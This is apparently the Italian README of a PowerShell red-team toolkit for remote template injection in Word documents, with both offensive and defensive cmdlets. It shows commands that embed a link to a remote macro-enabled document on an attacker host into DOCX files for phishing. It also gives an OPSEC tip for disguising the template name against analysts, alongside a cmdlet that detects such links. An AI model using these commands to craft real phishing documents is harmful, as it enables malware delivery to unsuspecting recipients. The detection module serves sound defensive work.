
PowerShell toolkit per attacchi e difesa di injection di template remoti. Inietta link dannosi in documenti Office Word per phishing, con moduli di identificazione per i blue team.
Remote Template Injection Toolkit
RTI-Toolkit è un toolkit PowerShell open-source per l'attacco di Remote Template Injection. Questo toolkit include uno script PowerShell chiamato PS-Templator.ps1 che può essere utilizzato sia da un punto di vista offensivo che difensivo.
La tabella seguente presenta i moduli principali (cmdlet) di PS-Templator.ps1:
| Cmdlet | Descrizione | Prospettiva |
|---|---|---|
| Invoke-Template | Implementa collegamenti a modelli remoti all'interno dei modelli predefiniti di Office Word | Offensiva |
| Invoke-Regular | Implementa collegamenti a modelli remoti all'interno di documenti Office Word normali senza modello | Offensiva |
| Invoke-Identify | Identifica collegamenti a modelli remoti all'interno di documenti Office Word docx con/senza modello | Difensiva |
⚠️ PS-Templator.ps1 supporta solo file DOCX.
ℹ️ Questo strumento è referenziato dal National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in CVE-2025-65318 e CVE-2025-65319.
Questo strumento è concesso in licenza sotto .
Un ringraziamento speciale ai miei amici @Papadope9 e Stavros Gkounis (a.k.a purpl3ph03n1x), che hanno fornito un'assistenza preziosa durante la fase di beta testing dello strumento.
Questo strumento è stato ispirato durante un iCAST Red Teaming Assessment con @S1ckB0y1337 qualche anno fa.
Supernova è stato creato con ❤️ da @nickvourd.
La Remote Template Injection (RTI) nel contesto di Microsoft Office si riferisce a un tipo specifico di vulnerabilità di sicurezza che può essere sfruttata tramite modelli dannosi nei documenti Office (es. Word, Excel, PowerPoint).
Ad esempio, in un file DOCX, il contenuto è memorizzato in formato XML all'interno dell'archivio, e alcuni di questi file XML possono fare riferimento a risorse o modelli esterni. Gli attaccanti possono infatti manipolare questi file XML per inserire collegamenti o contenuti dannosi che possono potenzialmente sfruttare vulnerabilità o ingannare gli utenti.
Questo è un attacco basato su Macro.
Per caricare PS-Templator.ps1 come modulo in memoria, eseguire il seguente comando:
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1 funziona senza la necessità di installare dipendenze aggiuntive.
ℹ️ PS-Templator.ps1 funziona come modulo PowerShell.
ℹ️ PS-Templator.ps1 testato su una macchina Windows 10 con Office 2019 Professional plus.
Invoke-Template è un cmdlet che implementa collegamenti a modelli remoti all'interno dei modelli predefiniti di Office Word.
Supponendo di avere un modello Word predefinito, come questo:

Salvato come, ad esempio, 'Name.docx':

Se si utilizza il cmdlet Invoke-Template è possibile inserire un collegamento dannoso all'interno di questo docx:
⚠️ Prima di eseguire Invoke-Template, assicurati di salvare il documento e di chiuderlo (terminare il suo processo).
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
Risultato:

Come si può vedere, il modulo Invoke-Template mantiene un backup del documento originale e fornisce il percorso completo del documento dannoso.
Da un punto di vista di debugging, se si converte il docx dannoso in un archivio zip e si accede a /word/_rels/settings.xml.rels, è possibile vedere il collegamento dannoso:

Invoke-Regular è un cmdlet che implementa collegamenti a modelli remoti all'interno di documenti Office Word normali senza modelli.
Supponendo di avere un documento Word predefinito senza modello, come questo:

Salvato come, ad esempio, 'Doc1.docx':

Se si utilizza il cmdlet Invoke-Regular è possibile inserire un collegamento dannoso all'interno di questo docx:
⚠️ Prima di eseguire Invoke-Regular, assicurati di salvare il documento e di chiuderlo (terminare il suo processo).
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
Risultato:

Come si può vedere, il modulo Invoke-Regular mantiene un backup del documento originale e fornisce il percorso completo del documento dannoso.
Da un punto di vista di debugging, se si converte il docx dannoso in un archivio zip e si accede a /word/_rels/settings.xml.rels, è possibile vedere il collegamento dannoso:

Da un punto di vista OPSEC, è possibile utilizzare -TemplateName insieme al modulo Invoke-Regular. Questo renderà il tuo documento dannoso più legittimo se qualcuno prova ad analizzarlo.
Ecco un esempio:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
Risultato:

Da un punto di vista di debugging, se si converte il docx dannoso in un archivio zip e si accede a /docProps/app.xml, è possibile vedere il nome del modello falso:

Invoke-identify è un cmdlet che identifica collegamenti a modelli remoti all'interno di documenti Office Word docx con/senza modello.
Supponendo di avere un documento Word dannoso:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
Risultato:

Supponendo di avere un documento Word non dannoso:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
Risultato:
